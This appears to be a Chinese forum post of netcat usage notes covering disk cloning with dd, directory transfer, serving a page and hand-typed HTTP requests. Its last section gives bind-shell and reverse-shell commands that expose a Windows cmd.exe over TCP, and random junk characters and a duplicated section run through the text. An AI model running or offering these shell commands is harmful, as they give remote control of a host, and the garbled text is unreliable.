tcpdump 、nc的使用记录

admin

克隆硬盘或分区
操作与上面的拷贝是雷同的，只需要由dd获得硬盘或分区的数据，然后传输即可。
- P& x5 j* S1 e7 y; m克隆硬盘或分区的操作，不应在已经mount的的系统上进行。所以，需要使用安装光盘引导后，进入拯救模式（或使用Knoppix工 具光盘）启动系统后，在server2上进行类似的监听动作：
# nc -l -p 1234 | dd of=/dev/sda

* ?2 s6 s1 `- f2 D6 {& }  u! T* L' Jserver1上执行传输，即可完成从server1克隆sda硬盘到server2的任务：
# dd if=/dev/sda | nc 192.168.228.222 1234

※ 完成上述工作的前提，是需要落实光盘的拯救模式支持服务器上的网卡，并正确配置IP。

admin

克隆硬盘或分区
7 f3 Q# `  Z+ u( C操作与上面的拷贝是雷同的，只需要由dd获得硬盘或分区的数据，然后传输即可。
  p3 c- y3 B2 S克隆硬盘或分区的操作，不应在已经mount的的系统上进行。所以，需要使用安装光盘引导后，进入拯救模式（或使用Knoppix工 具光盘）启动系统后，在server2上进行类似的监听动作：
# nc -l -p 1234 | dd of=/dev/sda
# N9 N8 b& g8 |9 ^
server1上执行传输，即可完成从server1克隆sda硬盘到server2的任务：
3 u) S2 Q( S. m# dd if=/dev/sda | nc 192.168.228.222 1234

※ 完成上述工作的前提，是需要落实光盘的拯救模式支持服务器上的网卡，并正确配置IP。

1320503165

保存Web页面
# while true; do nc -l -p 80 -q 1 < somepage.html; done

1320503165

模拟HTTP Headers,获取网页源代码和返回头部信息
; s7 d$ H+ V0 c4 t3 M7 q
6 \, D0 Y3 ]) r. @  }9 d. |2 X[root@hatest1 ~]# nc www.linuxso.com 80
4 l3 A$ |9 \6 W" c, Q0 cGET / HTTP/1.1
Host: ispconfig.org
& X5 ?! \' k. a" o* R; AReferrer: mypage.com
* x& e% {+ p$ c0 e% VUser-Agent: my-browser

" o; _4 B6 C9 D" r, B$ [% AHTTP/1.1 200 OK
: f5 U$ }* d! TDate: Tue, 16 Dec 2008 07:23:24 GMT
Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8
1 T) R$ D8 Y' J% T, i3 J, GSet-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/
& q5 \9 L1 @: Z4 r  P  k) b+ rExpires: 0
% b5 X9 f, ?0 ^- U( S5 ^& |Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
, _) A: y. v/ n. V9 E. BCache-Control: private, post-check=0, pre-check=0, max-age=0
2 O; T) r! L) G! L% e+ F- OSet-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/
2 O) G9 c6 C1 e3 I. }8 x4 D# \5 @Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html
[......]
, f: F, A. P% L* `% `% n- v+ p在nc命令后，输入红色部分的内容，然后按两次回车，即可从对方获得HTTP Headers内容。
0 C; u1 H' r8 {: N) I4 J+ L


. ]0 S6 M2 [- v3 _. s/ p3 w传输目录
3 R8 {! t9 g3 I6 f从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上，用nc激活监听，server2上运行：
引用
( i# V3 f: J. [
[root@hatest2 tmp]# nc -l 1234 |tar xzvf -
server1上运行：
引用

[root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf – nginx-0.6.34|nc 192.168.228.222 1234
2 r  _+ i& N2 b4 _9 G
/ z, G5 J* d$ D! _- W
" L( b4 E' H$ P9 n0 x3 z. T. h1 k1 [
REMOTE主机绑定SHELL
- C* s, t7 f) O- l" E例子：

0 _, z. _, ^3 Q1 ?格式：nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
" A, _' b; d# v讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口


REMOTE主机绑定SHELL并反向连接
例子：

格式：nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
* Q& K" \6 T/ j! K' {以上为最基本的几种用法（其实NC的用法还有很多，
7 [  @  ~3 m$ y9 R( v( l当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......）